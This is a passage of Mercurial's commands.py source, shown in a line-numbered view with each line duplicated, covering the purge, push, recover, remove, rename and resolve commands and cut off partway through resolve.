5541 - Unknown files: files marked with "?" by :hg:`status`
5541 - Unknown files: files marked with "?" by :hg:`status`
5542 - Empty directories: in fact Mercurial ignores directories unless
5542 - Empty directories: in fact Mercurial ignores directories unless
5543 they contain files under source control management
5543 they contain files under source control management
5544
5544
5545 But it will leave untouched:
5545 But it will leave untouched:
5546
5546
5547 - Modified and unmodified tracked files
5547 - Modified and unmodified tracked files
5548 - Ignored files (unless -i or --all is specified)
5548 - Ignored files (unless -i or --all is specified)
5549 - New files added to the repository (with :hg:`add`)
5549 - New files added to the repository (with :hg:`add`)
5550
5550
5551 The --files and --dirs options can be used to direct purge to delete
5551 The --files and --dirs options can be used to direct purge to delete
5552 only files, only directories, or both. If neither option is given,
5552 only files, only directories, or both. If neither option is given,
5553 both will be deleted.
5553 both will be deleted.
5554
5554
5555 If directories are given on the command line, only files in these
5555 If directories are given on the command line, only files in these
5556 directories are considered.
5556 directories are considered.
5557
5557
5558 Be careful with purge, as you could irreversibly delete some files
5558 Be careful with purge, as you could irreversibly delete some files
5559 you forgot to add to the repository. If you only want to print the
5559 you forgot to add to the repository. If you only want to print the
5560 list of files that this program would delete, use the --print
5560 list of files that this program would delete, use the --print
5561 option.
5561 option.
5562 """
5562 """
5563 opts = pycompat.byteskwargs(opts)
5563 opts = pycompat.byteskwargs(opts)
5564 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5564 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5565
5565
5566 act = not opts.get(b'print')
5566 act = not opts.get(b'print')
5567 eol = b'\n'
5567 eol = b'\n'
5568 if opts.get(b'print0'):
5568 if opts.get(b'print0'):
5569 eol = b'\0'
5569 eol = b'\0'
5570 act = False # --print0 implies --print
5570 act = False # --print0 implies --print
5571 if opts.get(b'all', False):
5571 if opts.get(b'all', False):
5572 ignored = True
5572 ignored = True
5573 unknown = True
5573 unknown = True
5574 else:
5574 else:
5575 ignored = opts.get(b'ignored', False)
5575 ignored = opts.get(b'ignored', False)
5576 unknown = not ignored
5576 unknown = not ignored
5577
5577
5578 removefiles = opts.get(b'files')
5578 removefiles = opts.get(b'files')
5579 removedirs = opts.get(b'dirs')
5579 removedirs = opts.get(b'dirs')
5580 confirm = opts.get(b'confirm')
5580 confirm = opts.get(b'confirm')
5581 if confirm is None:
5581 if confirm is None:
5582 try:
5582 try:
5583 extensions.find(b'purge')
5583 extensions.find(b'purge')
5584 confirm = False
5584 confirm = False
5585 except KeyError:
5585 except KeyError:
5586 confirm = True
5586 confirm = True
5587
5587
5588 if not removefiles and not removedirs:
5588 if not removefiles and not removedirs:
5589 removefiles = True
5589 removefiles = True
5590 removedirs = True
5590 removedirs = True
5591
5591
5592 match = scmutil.match(repo[None], dirs, opts)
5592 match = scmutil.match(repo[None], dirs, opts)
5593
5593
5594 paths = mergemod.purge(
5594 paths = mergemod.purge(
5595 repo,
5595 repo,
5596 match,
5596 match,
5597 unknown=unknown,
5597 unknown=unknown,
5598 ignored=ignored,
5598 ignored=ignored,
5599 removeemptydirs=removedirs,
5599 removeemptydirs=removedirs,
5600 removefiles=removefiles,
5600 removefiles=removefiles,
5601 abortonerror=opts.get(b'abort_on_err'),
5601 abortonerror=opts.get(b'abort_on_err'),
5602 noop=not act,
5602 noop=not act,
5603 confirm=confirm,
5603 confirm=confirm,
5604 )
5604 )
5605
5605
5606 for path in paths:
5606 for path in paths:
5607 if not act:
5607 if not act:
5608 ui.write(b'%s%s' % (path, eol))
5608 ui.write(b'%s%s' % (path, eol))
5609
5609
5610
5610
5611 @command(
5611 @command(
5612 b'push',
5612 b'push',
5613 [
5613 [
5614 (b'f', b'force', None, _(b'force push')),
5614 (b'f', b'force', None, _(b'force push')),
5615 (
5615 (
5616 b'r',
5616 b'r',
5617 b'rev',
5617 b'rev',
5618 [],
5618 [],
5619 _(b'a changeset intended to be included in the destination'),
5619 _(b'a changeset intended to be included in the destination'),
5620 _(b'REV'),
5620 _(b'REV'),
5621 ),
5621 ),
5622 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5622 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5623 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5623 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5624 (
5624 (
5625 b'b',
5625 b'b',
5626 b'branch',
5626 b'branch',
5627 [],
5627 [],
5628 _(b'a specific branch you would like to push'),
5628 _(b'a specific branch you would like to push'),
5629 _(b'BRANCH'),
5629 _(b'BRANCH'),
5630 ),
5630 ),
5631 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5631 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5632 (
5632 (
5633 b'',
5633 b'',
5634 b'pushvars',
5634 b'pushvars',
5635 [],
5635 [],
5636 _(b'variables that can be sent to server (ADVANCED)'),
5636 _(b'variables that can be sent to server (ADVANCED)'),
5637 ),
5637 ),
5638 (
5638 (
5639 b'',
5639 b'',
5640 b'publish',
5640 b'publish',
5641 False,
5641 False,
5642 _(b'push the changeset as public (EXPERIMENTAL)'),
5642 _(b'push the changeset as public (EXPERIMENTAL)'),
5643 ),
5643 ),
5644 ]
5644 ]
5645 + remoteopts,
5645 + remoteopts,
5646 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5646 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5647 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5647 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5648 helpbasic=True,
5648 helpbasic=True,
5649 )
5649 )
5650 def push(ui, repo, *dests, **opts):
5650 def push(ui, repo, *dests, **opts):
5651 """push changes to the specified destination
5651 """push changes to the specified destination
5652
5652
5653 Push changesets from the local repository to the specified
5653 Push changesets from the local repository to the specified
5654 destination.
5654 destination.
5655
5655
5656 This operation is symmetrical to pull: it is identical to a pull
5656 This operation is symmetrical to pull: it is identical to a pull
5657 in the destination repository from the current one.
5657 in the destination repository from the current one.
5658
5658
5659 By default, push will not allow creation of new heads at the
5659 By default, push will not allow creation of new heads at the
5660 destination, since multiple heads would make it unclear which head
5660 destination, since multiple heads would make it unclear which head
5661 to use. In this situation, it is recommended to pull and merge
5661 to use. In this situation, it is recommended to pull and merge
5662 before pushing.
5662 before pushing.
5663
5663
5664 Use --new-branch if you want to allow push to create a new named
5664 Use --new-branch if you want to allow push to create a new named
5665 branch that is not present at the destination. This allows you to
5665 branch that is not present at the destination. This allows you to
5666 only create a new branch without forcing other changes.
5666 only create a new branch without forcing other changes.
5667
5667
5668 .. note::
5668 .. note::
5669
5669
5670 Extra care should be taken with the -f/--force option,
5670 Extra care should be taken with the -f/--force option,
5671 which will push all new heads on all branches, an action which will
5671 which will push all new heads on all branches, an action which will
5672 almost always cause confusion for collaborators.
5672 almost always cause confusion for collaborators.
5673
5673
5674 If -r/--rev is used, the specified revision and all its ancestors
5674 If -r/--rev is used, the specified revision and all its ancestors
5675 will be pushed to the remote repository.
5675 will be pushed to the remote repository.
5676
5676
5677 If -B/--bookmark is used, the specified bookmarked revision, its
5677 If -B/--bookmark is used, the specified bookmarked revision, its
5678 ancestors, and the bookmark will be pushed to the remote
5678 ancestors, and the bookmark will be pushed to the remote
5679 repository. Specifying ``.`` is equivalent to specifying the active
5679 repository. Specifying ``.`` is equivalent to specifying the active
5680 bookmark's name. Use the --all-bookmarks option for pushing all
5680 bookmark's name. Use the --all-bookmarks option for pushing all
5681 current bookmarks.
5681 current bookmarks.
5682
5682
5683 Please see :hg:`help urls` for important details about ``ssh://``
5683 Please see :hg:`help urls` for important details about ``ssh://``
5684 URLs. If DESTINATION is omitted, a default path will be used.
5684 URLs. If DESTINATION is omitted, a default path will be used.
5685
5685
5686 When passed multiple destinations, push will process them one after the
5686 When passed multiple destinations, push will process them one after the
5687 other, but stop should an error occur.
5687 other, but stop should an error occur.
5688
5688
5689 .. container:: verbose
5689 .. container:: verbose
5690
5690
5691 The --pushvars option sends strings to the server that become
5691 The --pushvars option sends strings to the server that become
5692 environment variables prepended with ``HG_USERVAR_``. For example,
5692 environment variables prepended with ``HG_USERVAR_``. For example,
5693 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5693 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5694 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5694 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5695
5695
5696 pushvars can provide for user-overridable hooks as well as set debug
5696 pushvars can provide for user-overridable hooks as well as set debug
5697 levels. One example is having a hook that blocks commits containing
5697 levels. One example is having a hook that blocks commits containing
5698 conflict markers, but enables the user to override the hook if the file
5698 conflict markers, but enables the user to override the hook if the file
5699 is using conflict markers for testing purposes or the file format has
5699 is using conflict markers for testing purposes or the file format has
5700 strings that look like conflict markers.
5700 strings that look like conflict markers.
5701
5701
5702 By default, servers will ignore `--pushvars`. To enable it add the
5702 By default, servers will ignore `--pushvars`. To enable it add the
5703 following to your configuration file::
5703 following to your configuration file::
5704
5704
5705 [push]
5705 [push]
5706 pushvars.server = true
5706 pushvars.server = true
5707
5707
5708 Returns 0 if push was successful, 1 if nothing to push.
5708 Returns 0 if push was successful, 1 if nothing to push.
5709 """
5709 """
5710
5710
5711 opts = pycompat.byteskwargs(opts)
5711 opts = pycompat.byteskwargs(opts)
5712
5712
5713 if opts.get(b'all_bookmarks'):
5713 if opts.get(b'all_bookmarks'):
5714 cmdutil.check_incompatible_arguments(
5714 cmdutil.check_incompatible_arguments(
5715 opts,
5715 opts,
5716 b'all_bookmarks',
5716 b'all_bookmarks',
5717 [b'bookmark', b'rev'],
5717 [b'bookmark', b'rev'],
5718 )
5718 )
5719 opts[b'bookmark'] = list(repo._bookmarks)
5719 opts[b'bookmark'] = list(repo._bookmarks)
5720
5720
5721 if opts.get(b'bookmark'):
5721 if opts.get(b'bookmark'):
5722 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5722 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5723 for b in opts[b'bookmark']:
5723 for b in opts[b'bookmark']:
5724 # translate -B options to -r so changesets get pushed
5724 # translate -B options to -r so changesets get pushed
5725 b = repo._bookmarks.expandname(b)
5725 b = repo._bookmarks.expandname(b)
5726 if b in repo._bookmarks:
5726 if b in repo._bookmarks:
5727 opts.setdefault(b'rev', []).append(b)
5727 opts.setdefault(b'rev', []).append(b)
5728 else:
5728 else:
5729 # if we try to push a deleted bookmark, translate it to null
5729 # if we try to push a deleted bookmark, translate it to null
5730 # this lets simultaneous -r, -b options continue working
5730 # this lets simultaneous -r, -b options continue working
5731 opts.setdefault(b'rev', []).append(b"null")
5731 opts.setdefault(b'rev', []).append(b"null")
5732
5732
5733 some_pushed = False
5733 some_pushed = False
5734 result = 0
5734 result = 0
5735 for path in urlutil.get_push_paths(repo, ui, dests):
5735 for path in urlutil.get_push_paths(repo, ui, dests):
5736 dest = path.pushloc or path.loc
5736 dest = path.pushloc or path.loc
5737 branches = (path.branch, opts.get(b'branch') or [])
5737 branches = (path.branch, opts.get(b'branch') or [])
5738 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5738 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5739 revs, checkout = hg.addbranchrevs(
5739 revs, checkout = hg.addbranchrevs(
5740 repo, repo, branches, opts.get(b'rev')
5740 repo, repo, branches, opts.get(b'rev')
5741 )
5741 )
5742 other = hg.peer(repo, opts, dest)
5742 other = hg.peer(repo, opts, dest)
5743
5743
5744 try:
5744 try:
5745 if revs:
5745 if revs:
5746 revs = [repo[r].node() for r in logcmdutil.revrange(repo, revs)]
5746 revs = [repo[r].node() for r in logcmdutil.revrange(repo, revs)]
5747 if not revs:
5747 if not revs:
5748 raise error.InputError(
5748 raise error.InputError(
5749 _(b"specified revisions evaluate to an empty set"),
5749 _(b"specified revisions evaluate to an empty set"),
5750 hint=_(b"use different revision arguments"),
5750 hint=_(b"use different revision arguments"),
5751 )
5751 )
5752 elif path.pushrev:
5752 elif path.pushrev:
5753 # It doesn't make any sense to specify ancestor revisions. So limit
5753 # It doesn't make any sense to specify ancestor revisions. So limit
5754 # to DAG heads to make discovery simpler.
5754 # to DAG heads to make discovery simpler.
5755 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5755 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5756 revs = scmutil.revrange(repo, [expr])
5756 revs = scmutil.revrange(repo, [expr])
5757 revs = [repo[rev].node() for rev in revs]
5757 revs = [repo[rev].node() for rev in revs]
5758 if not revs:
5758 if not revs:
5759 raise error.InputError(
5759 raise error.InputError(
5760 _(
5760 _(
5761 b'default push revset for path evaluates to an empty set'
5761 b'default push revset for path evaluates to an empty set'
5762 )
5762 )
5763 )
5763 )
5764 elif ui.configbool(b'commands', b'push.require-revs'):
5764 elif ui.configbool(b'commands', b'push.require-revs'):
5765 raise error.InputError(
5765 raise error.InputError(
5766 _(b'no revisions specified to push'),
5766 _(b'no revisions specified to push'),
5767 hint=_(b'did you mean "hg push -r ."?'),
5767 hint=_(b'did you mean "hg push -r ."?'),
5768 )
5768 )
5769
5769
5770 repo._subtoppath = dest
5770 repo._subtoppath = dest
5771 try:
5771 try:
5772 # push subrepos depth-first for coherent ordering
5772 # push subrepos depth-first for coherent ordering
5773 c = repo[b'.']
5773 c = repo[b'.']
5774 subs = c.substate # only repos that are committed
5774 subs = c.substate # only repos that are committed
5775 for s in sorted(subs):
5775 for s in sorted(subs):
5776 sub_result = c.sub(s).push(opts)
5776 sub_result = c.sub(s).push(opts)
5777 if sub_result == 0:
5777 if sub_result == 0:
5778 return 1
5778 return 1
5779 finally:
5779 finally:
5780 del repo._subtoppath
5780 del repo._subtoppath
5781
5781
5782 opargs = dict(
5782 opargs = dict(
5783 opts.get(b'opargs', {})
5783 opts.get(b'opargs', {})
5784 ) # copy opargs since we may mutate it
5784 ) # copy opargs since we may mutate it
5785 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5785 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5786
5786
5787 pushop = exchange.push(
5787 pushop = exchange.push(
5788 repo,
5788 repo,
5789 other,
5789 other,
5790 opts.get(b'force'),
5790 opts.get(b'force'),
5791 revs=revs,
5791 revs=revs,
5792 newbranch=opts.get(b'new_branch'),
5792 newbranch=opts.get(b'new_branch'),
5793 bookmarks=opts.get(b'bookmark', ()),
5793 bookmarks=opts.get(b'bookmark', ()),
5794 publish=opts.get(b'publish'),
5794 publish=opts.get(b'publish'),
5795 opargs=opargs,
5795 opargs=opargs,
5796 )
5796 )
5797
5797
5798 if pushop.cgresult == 0:
5798 if pushop.cgresult == 0:
5799 result = 1
5799 result = 1
5800 elif pushop.cgresult is not None:
5800 elif pushop.cgresult is not None:
5801 some_pushed = True
5801 some_pushed = True
5802
5802
5803 if pushop.bkresult is not None:
5803 if pushop.bkresult is not None:
5804 if pushop.bkresult == 2:
5804 if pushop.bkresult == 2:
5805 result = 2
5805 result = 2
5806 elif not result and pushop.bkresult:
5806 elif not result and pushop.bkresult:
5807 result = 2
5807 result = 2
5808
5808
5809 if result:
5809 if result:
5810 break
5810 break
5811
5811
5812 finally:
5812 finally:
5813 other.close()
5813 other.close()
5814 if result == 0 and not some_pushed:
5814 if result == 0 and not some_pushed:
5815 result = 1
5815 result = 1
5816 return result
5816 return result
5817
5817
5818
5818
5819 @command(
5819 @command(
5820 b'recover',
5820 b'recover',
5821 [
5821 [
5822 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5822 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5823 ],
5823 ],
5824 helpcategory=command.CATEGORY_MAINTENANCE,
5824 helpcategory=command.CATEGORY_MAINTENANCE,
5825 )
5825 )
5826 def recover(ui, repo, **opts):
5826 def recover(ui, repo, **opts):
5827 """roll back an interrupted transaction
5827 """roll back an interrupted transaction
5828
5828
5829 Recover from an interrupted commit or pull.
5829 Recover from an interrupted commit or pull.
5830
5830
5831 This command tries to fix the repository status after an
5831 This command tries to fix the repository status after an
5832 interrupted operation. It should only be necessary when Mercurial
5832 interrupted operation. It should only be necessary when Mercurial
5833 suggests it.
5833 suggests it.
5834
5834
5835 Returns 0 if successful, 1 if nothing to recover or verify fails.
5835 Returns 0 if successful, 1 if nothing to recover or verify fails.
5836 """
5836 """
5837 ret = repo.recover()
5837 ret = repo.recover()
5838 if ret:
5838 if ret:
5839 if opts['verify']:
5839 if opts['verify']:
5840 return hg.verify(repo)
5840 return hg.verify(repo)
5841 else:
5841 else:
5842 msg = _(
5842 msg = _(
5843 b"(verify step skipped, run `hg verify` to check your "
5843 b"(verify step skipped, run `hg verify` to check your "
5844 b"repository content)\n"
5844 b"repository content)\n"
5845 )
5845 )
5846 ui.warn(msg)
5846 ui.warn(msg)
5847 return 0
5847 return 0
5848 return 1
5848 return 1
5849
5849
5850
5850
5851 @command(
5851 @command(
5852 b'remove|rm',
5852 b'remove|rm',
5853 [
5853 [
5854 (b'A', b'after', None, _(b'record delete for missing files')),
5854 (b'A', b'after', None, _(b'record delete for missing files')),
5855 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5855 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5856 ]
5856 ]
5857 + subrepoopts
5857 + subrepoopts
5858 + walkopts
5858 + walkopts
5859 + dryrunopts,
5859 + dryrunopts,
5860 _(b'[OPTION]... FILE...'),
5860 _(b'[OPTION]... FILE...'),
5861 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5861 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5862 helpbasic=True,
5862 helpbasic=True,
5863 inferrepo=True,
5863 inferrepo=True,
5864 )
5864 )
5865 def remove(ui, repo, *pats, **opts):
5865 def remove(ui, repo, *pats, **opts):
5866 """remove the specified files on the next commit
5866 """remove the specified files on the next commit
5867
5867
5868 Schedule the indicated files for removal from the current branch.
5868 Schedule the indicated files for removal from the current branch.
5869
5869
5870 This command schedules the files to be removed at the next commit.
5870 This command schedules the files to be removed at the next commit.
5871 To undo a remove before that, see :hg:`revert`. To undo added
5871 To undo a remove before that, see :hg:`revert`. To undo added
5872 files, see :hg:`forget`.
5872 files, see :hg:`forget`.
5873
5873
5874 .. container:: verbose
5874 .. container:: verbose
5875
5875
5876 -A/--after can be used to remove only files that have already
5876 -A/--after can be used to remove only files that have already
5877 been deleted, -f/--force can be used to force deletion, and -Af
5877 been deleted, -f/--force can be used to force deletion, and -Af
5878 can be used to remove files from the next revision without
5878 can be used to remove files from the next revision without
5879 deleting them from the working directory.
5879 deleting them from the working directory.
5880
5880
5881 The following table details the behavior of remove for different
5881 The following table details the behavior of remove for different
5882 file states (columns) and option combinations (rows). The file
5882 file states (columns) and option combinations (rows). The file
5883 states are Added [A], Clean [C], Modified [M] and Missing [!]
5883 states are Added [A], Clean [C], Modified [M] and Missing [!]
5884 (as reported by :hg:`status`). The actions are Warn, Remove
5884 (as reported by :hg:`status`). The actions are Warn, Remove
5885 (from branch) and Delete (from disk):
5885 (from branch) and Delete (from disk):
5886
5886
5887 ========= == == == ==
5887 ========= == == == ==
5888 opt/state A C M !
5888 opt/state A C M !
5889 ========= == == == ==
5889 ========= == == == ==
5890 none W RD W R
5890 none W RD W R
5891 -f R RD RD R
5891 -f R RD RD R
5892 -A W W W R
5892 -A W W W R
5893 -Af R R R R
5893 -Af R R R R
5894 ========= == == == ==
5894 ========= == == == ==
5895
5895
5896 .. note::
5896 .. note::
5897
5897
5898 :hg:`remove` never deletes files in Added [A] state from the
5898 :hg:`remove` never deletes files in Added [A] state from the
5899 working directory, not even if ``--force`` is specified.
5899 working directory, not even if ``--force`` is specified.
5900
5900
5901 Returns 0 on success, 1 if any warnings encountered.
5901 Returns 0 on success, 1 if any warnings encountered.
5902 """
5902 """
5903
5903
5904 opts = pycompat.byteskwargs(opts)
5904 opts = pycompat.byteskwargs(opts)
5905 after, force = opts.get(b'after'), opts.get(b'force')
5905 after, force = opts.get(b'after'), opts.get(b'force')
5906 dryrun = opts.get(b'dry_run')
5906 dryrun = opts.get(b'dry_run')
5907 if not pats and not after:
5907 if not pats and not after:
5908 raise error.InputError(_(b'no files specified'))
5908 raise error.InputError(_(b'no files specified'))
5909
5909
5910 m = scmutil.match(repo[None], pats, opts)
5910 m = scmutil.match(repo[None], pats, opts)
5911 subrepos = opts.get(b'subrepos')
5911 subrepos = opts.get(b'subrepos')
5912 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5912 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5913 return cmdutil.remove(
5913 return cmdutil.remove(
5914 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5914 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5915 )
5915 )
5916
5916
5917
5917
5918 @command(
5918 @command(
5919 b'rename|move|mv',
5919 b'rename|move|mv',
5920 [
5920 [
5921 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5921 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5922 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5922 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5923 (
5923 (
5924 b'',
5924 b'',
5925 b'at-rev',
5925 b'at-rev',
5926 b'',
5926 b'',
5927 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5927 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5928 _(b'REV'),
5928 _(b'REV'),
5929 ),
5929 ),
5930 (
5930 (
5931 b'f',
5931 b'f',
5932 b'force',
5932 b'force',
5933 None,
5933 None,
5934 _(b'forcibly move over an existing managed file'),
5934 _(b'forcibly move over an existing managed file'),
5935 ),
5935 ),
5936 ]
5936 ]
5937 + walkopts
5937 + walkopts
5938 + dryrunopts,
5938 + dryrunopts,
5939 _(b'[OPTION]... SOURCE... DEST'),
5939 _(b'[OPTION]... SOURCE... DEST'),
5940 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5940 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5941 )
5941 )
5942 def rename(ui, repo, *pats, **opts):
5942 def rename(ui, repo, *pats, **opts):
5943 """rename files; equivalent of copy + remove
5943 """rename files; equivalent of copy + remove
5944
5944
5945 Mark dest as copies of sources; mark sources for deletion. If dest
5945 Mark dest as copies of sources; mark sources for deletion. If dest
5946 is a directory, copies are put in that directory. If dest is a
5946 is a directory, copies are put in that directory. If dest is a
5947 file, there can only be one source.
5947 file, there can only be one source.
5948
5948
5949 By default, this command copies the contents of files as they
5949 By default, this command copies the contents of files as they
5950 exist in the working directory. If invoked with -A/--after, the
5950 exist in the working directory. If invoked with -A/--after, the
5951 operation is recorded, but no copying is performed.
5951 operation is recorded, but no copying is performed.
5952
5952
5953 To undo marking a destination file as renamed, use --forget. With that
5953 To undo marking a destination file as renamed, use --forget. With that
5954 option, all given (positional) arguments are unmarked as renames. The
5954 option, all given (positional) arguments are unmarked as renames. The
5955 destination file(s) will be left in place (still tracked). The source
5955 destination file(s) will be left in place (still tracked). The source
5956 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5956 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5957 the same way as :hg:`copy --forget`.
5957 the same way as :hg:`copy --forget`.
5958
5958
5959 This command takes effect with the next commit by default.
5959 This command takes effect with the next commit by default.
5960
5960
5961 Returns 0 on success, 1 if errors are encountered.
5961 Returns 0 on success, 1 if errors are encountered.
5962 """
5962 """
5963 opts = pycompat.byteskwargs(opts)
5963 opts = pycompat.byteskwargs(opts)
5964 with repo.wlock():
5964 with repo.wlock():
5965 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5965 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5966
5966
5967
5967
5968 @command(
5968 @command(
5969 b'resolve',
5969 b'resolve',
5970 [
5970 [
5971 (b'a', b'all', None, _(b'select all unresolved files')),
5971 (b'a', b'all', None, _(b'select all unresolved files')),
5972 (b'l', b'list', None, _(b'list state of files needing merge')),
5972 (b'l', b'list', None, _(b'list state of files needing merge')),
5973 (b'm', b'mark', None, _(b'mark files as resolved')),
5973 (b'm', b'mark', None, _(b'mark files as resolved')),
5974 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5974 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5975 (b'n', b'no-status', None, _(b'hide status prefix')),
5975 (b'n', b'no-status', None, _(b'hide status prefix')),
5976 (b'', b're-merge', None, _(b're-merge files')),
5976 (b'', b're-merge', None, _(b're-merge files')),
5977 ]
5977 ]
5978 + mergetoolopts
5978 + mergetoolopts
5979 + walkopts
5979 + walkopts
5980 + formatteropts,
5980 + formatteropts,
5981 _(b'[OPTION]... [FILE]...'),
5981 _(b'[OPTION]... [FILE]...'),
5982 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5982 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5983 inferrepo=True,
5983 inferrepo=True,
5984 )
5984 )
5985 def resolve(ui, repo, *pats, **opts):
5985 def resolve(ui, repo, *pats, **opts):
5986 """redo merges or set/view the merge status of files
5986 """redo merges or set/view the merge status of files
5987
5987
5988 Merges with unresolved conflicts are often the result of
5988 Merges with unresolved conflicts are often the result of
5989 non-interactive merging using the ``internal:merge`` configuration
5989 non-interactive merging using the ``internal:merge`` configuration
5990 setting, or a command-line merge tool like ``diff3``. The resolve
5990 setting, or a command-line merge tool like ``diff3``. The resolve
5991 command is used to manage the files involved in a merge, after
5991 command is used to manage the files involved in a merge, after
5992 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5992 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5993 working directory must have two parents). See :hg:`help
5993 working directory must have two parents). See :hg:`help
5994 merge-tools` for information on configuring merge tools.
5994 merge-tools` for information on configuring merge tools.
5995
5995
5996 The resolve command can be used in the following ways:
5996 The resolve command can be used in the following ways:
5997
5997
5998 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5998 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5999 the specified files, discarding any previous merge attempts. Re-merging
5999 the specified files, discarding any previous merge attempts. Re-merging
6000 is not performed for files already marked as resolved. Use ``--all/-a``
6000 is not performed for files already marked as resolved. Use ``--all/-a``
6001 to select all unresolved files. ``--tool`` can be used to specify
6001 to select all unresolved files. ``--tool`` can be used to specify
6002 the merge tool used for the given files. It overrides the HGMERGE
6002 the merge tool used for the given files. It overrides the HGMERGE
6003 environment variable and your configuration files. Previous file
6003 environment variable and your configuration files. Previous file
6004 contents are saved with a ``.orig`` suffix.
6004 contents are saved with a ``.orig`` suffix.
6005
6005
6006 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
6006 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
6007 (e.g. after having manually fixed-up the files). The default is
6007 (e.g. after having manually fixed-up the files). The default is
6008 to mark all unresolved files.
6008 to mark all unresolved files.
6009
6009
6010 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6010 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6011 default is to mark all resolved files.
6011 default is to mark all resolved files.
6012
6012
6013 - :hg:`resolve -l`: list files which had or still have conflicts.
6013 - :hg:`resolve -l`: list files which had or still have conflicts.
6014 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6014 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6015 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6015 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6016 the list. See :hg:`help filesets` for details.
6016 the list. See :hg:`help filesets` for details.
6017
6017
6018 .. note::
6018 .. note::
6019
6019
6020 Mercurial will not let you commit files with unresolved merge
6020 Mercurial will not let you commit files with unresolved merge
6021 conflicts. You must use :hg:`resolve -m ...` before you can
6021 conflicts. You must use :hg:`resolve -m ...` before you can
6022 commit after a conflicting merge.
6022 commit after a conflicting merge.
6023
6023
6024 .. container:: verbose
6024 .. container:: verbose
6025
6025
6026 Template:
6026 Template:
6027
6027
6028 The following keywords are supported in addition to the common template
6028 The following keywords are supported in addition to the common template
6029 keywords and functions. See also :hg:`help templates`.
6029 keywords and functions. See also :hg:`help templates`.
6030
6030
6031 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6031 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6032 :path: String. Repository-absolute path of the file.
6032 :path: String. Repository-absolute path of the file.
6033
6033
6034 Returns 0 on success, 1 if any files fail a resolve attempt.
6034 Returns 0 on success, 1 if any files fail a resolve attempt.
6035 """
6035 """
6036
6036
6037 opts = pycompat.byteskwargs(opts)
6037 opts = pycompat.byteskwargs(opts)
6038 confirm = ui.configbool(b'commands', b'resolve.confirm')
6038 confirm = ui.configbool(b'commands', b'resolve.confirm')
6039 flaglist = b'all mark unmark list no_status re_merge'.split()
6039 flaglist = b'all mark unmark list no_status re_merge'.split()
6040 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6040 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6041
6041
6042 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6042 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6043 if actioncount > 1:
6043 if actioncount > 1:
6044 raise error.InputError(_(b"too many actions specified"))
6044 raise error.InputError(_(b"too many actions specified"))
6045 elif actioncount == 0 and ui.configbool(
6045 elif actioncount == 0 and ui.configbool(
6046 b'commands', b'resolve.explicit-re-merge'
6046 b'commands', b'resolve.explicit-re-merge'
